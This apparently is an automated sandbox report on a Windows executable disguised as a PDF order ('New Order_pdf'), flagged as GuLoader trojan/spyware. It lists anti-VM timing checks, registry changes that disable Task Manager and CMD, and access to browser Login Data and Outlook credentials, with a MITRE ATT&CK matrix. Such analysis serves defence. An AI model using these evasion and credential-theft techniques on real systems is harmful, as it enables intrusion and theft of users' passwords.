Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_389671C4	5_2_389671C4
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_389671C8	5_2_389671C8
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_3896F1E9	5_2_3896F1E9
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_38966916	5_2_38966916
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_38966918	5_2_38966918
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_3896E938	5_2_3896E938
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_3896315C	5_2_3896315C
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_3896E948	5_2_3896E948
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_38966D70	5_2_38966D70
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_38963160	5_2_38963160
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_38966D68	5_2_38966D68
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_3896FA98	5_2_3896FA98
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_389642B4	5_2_389642B4
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_3896FAA8	5_2_3896FAA8
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_389642C0	5_2_389642C0
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_38967617	5_2_38967617
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_38963A10	5_2_38963A10
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_38963A0C	5_2_38963A0C
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_3896F650	5_2_3896F650
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_3896F641	5_2_3896F641
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_38963E68	5_2_38963E68
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_3896D390	5_2_3896D390
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_3896D380	5_2_3896D380
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_3896D7D8	5_2_3896D7D8
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_38962BC0	5_2_38962BC0
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_3896D7E8	5_2_3896D7E8
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_38964708	5_2_38964708
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_3896CF38	5_2_3896CF38
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_3909398C	5_2_3909398C
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_39094300	5_2_39094300
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_39099DF8	5_2_39099DF8
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_39092C70	5_2_39092C70
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_39094FD1	5_2_39094FD1
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 5_2_3909168C	5_2_3909168C

Source: New Order_pdf_006534325.exe, 00000005.00000002.2666376638.0000000035DE7000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs New Order_pdf_006534325.exe
Source: New Order_pdf_006534325.exe, 00000005.00000002.2647109196.0000000005B52000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs New Order_pdf_006534325.exe

Source: New Order_pdf_006534325.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: classification engine

Classification label: mal96.troj.spyw.evad.winEXE@3/17@4/4

Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe

0_2_004036DA

Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe

File created: C:\Users\user\AppData\Local\Temp\nssD7AE.tmp

Jump to behavior

Source: New Order_pdf_006534325.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: New Order_pdf_006534325.exe, 00000005.00000002.2666895136.000000003701D000.00000004.00000800.00020000.00000000.sdmp, New Order_pdf_006534325.exe, 00000005.00000002.2666529008.00000000360EE000.00000004.00000800.00020000.00000000.sdmp, New Order_pdf_006534325.exe, 00000005.00000002.2666529008.0000000036102000.00000004.00000800.00020000.00000000.sdmp, New Order_pdf_006534325.exe, 00000005.00000002.2666529008.00000000360E0000.00000004.00000800.00020000.00000000.sdmp, New Order_pdf_006534325.exe, 00000005.00000002.2666529008.000000003610F000.00000004.00000800.00020000.00000000.sdmp, New Order_pdf_006534325.exe, 00000005.00000002.2666529008.00000000360D0000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: New Order_pdf_006534325.exe	Virustotal: Detection: 33%
Source: New Order_pdf_006534325.exe	ReversingLabs: Detection: 26%

Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe

File read: C:\Users\user\Desktop\New Order_pdf_006534325.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\New Order_pdf_006534325.exe "C:\Users\user\Desktop\New Order_pdf_006534325.exe"
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Process created: C:\Users\user\Desktop\New Order_pdf_006534325.exe "C:\Users\user\Desktop\New Order_pdf_006534325.exe"
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Process created: C:\Users\user\Desktop\New Order_pdf_006534325.exe "C:\Users\user\Desktop\New Order_pdf_006534325.exe"	Jump to behavior

Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Section loaded: secur32.dll	Jump to behavior

Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe

File written: C:\Users\user\AppData\Local\Temp\cocainize\Posteringen\opvkkede.ini

Jump to behavior

Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: New Order_pdf_006534325.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Data Obfuscation

Yara detected GuLoader

Source: Yara match

File source: 00000000.00000002.1893856567.0000000003741000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe

Code function: 0_2_73902351 GlobalFree,GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

0_2_73902351

Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe

File created: C:\Users\user\AppData\Local\Temp\nsnD7DE.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	API/Special instruction interceptor: Address: 3C2748F
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	API/Special instruction interceptor: Address: 29F748F

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	RDTSC instruction interceptor: First address: 3BF2CB8 second address: 3BF2CB8 instructions: 0x00000000 rdtsc 0x00000002 cmp ebx, ecx 0x00000004 jc 00007FE8CD32CA18h 0x00000006 cmp cl, bl 0x00000008 inc ebp 0x00000009 inc ebx 0x0000000a push esi 0x0000000b mov esi, 07CBAF91h 0x00000010 cmp esi, 05h 0x00000013 jng 00007FE8CD361C14h 0x00000019 pop esi 0x0000001a rdtsc
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	RDTSC instruction interceptor: First address: 29C2CB8 second address: 29C2CB8 instructions: 0x00000000 rdtsc 0x00000002 cmp ebx, ecx 0x00000004 jc 00007FE8CD3243A8h 0x00000006 cmp cl, bl 0x00000008 inc ebp 0x00000009 inc ebx 0x0000000a push esi 0x0000000b mov esi, 07CBAF91h 0x00000010 cmp esi, 05h 0x00000013 jng 00007FE8CD3595A4h 0x00000019 pop esi 0x0000001a rdtsc

Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Memory allocated: 5800000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Memory allocated: 35FF0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Memory allocated: 35DF0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsnD7DE.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe

Evaded block: after key decision

graph_0-3124

Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 0_2_004066F7 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,		0_2_004066F7
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Code function: 0_2_004065AD FindFirstFileW,FindClose,		0_2_004065AD

Source: New Order_pdf_006534325.exe, 00000005.00000002.2647109196.0000000005B6E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: New Order_pdf_006534325.exe, 00000005.00000002.2647109196.0000000005B18000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0X

Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe

API call chain: ExitProcess graph end node

graph_0-3011

Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe

Code function: 0_2_73902351 GlobalFree,GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

0_2_73902351

Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe

Process created: C:\Users\user\Desktop\New Order_pdf_006534325.exe "C:\Users\user\Desktop\New Order_pdf_006534325.exe"

Jump to behavior

Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Queries volume information: C:\Users\user\Desktop\New Order_pdf_006534325.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe

0_2_004036DA

Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Task Manager(disabletaskmgr)

Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe

Registry value created: DisableTaskMgr 1

Jump to behavior

Disables CMD prompt

Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe

Registry value created: DisableCMD 1

Jump to behavior

Disables the Windows task manager (taskmgr)

Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe

Registry key created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System DisableTaskMgr

Jump to behavior

Stealing of Sensitive Information

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data			Jump to behavior
Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data			Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\New Order_pdf_006534325.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: Yara match	File source: 00000005.00000002.2666529008.0000000036146000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: New Order_pdf_006534325.exe PID: 7848, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Native API	1 DLL Side-Loading	1 Access Token Manipulation	1 Masquerading	1 OS Credential Dumping	211 Security Software Discovery	Remote Services	1 Email Collection	21 Encrypted Channel	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
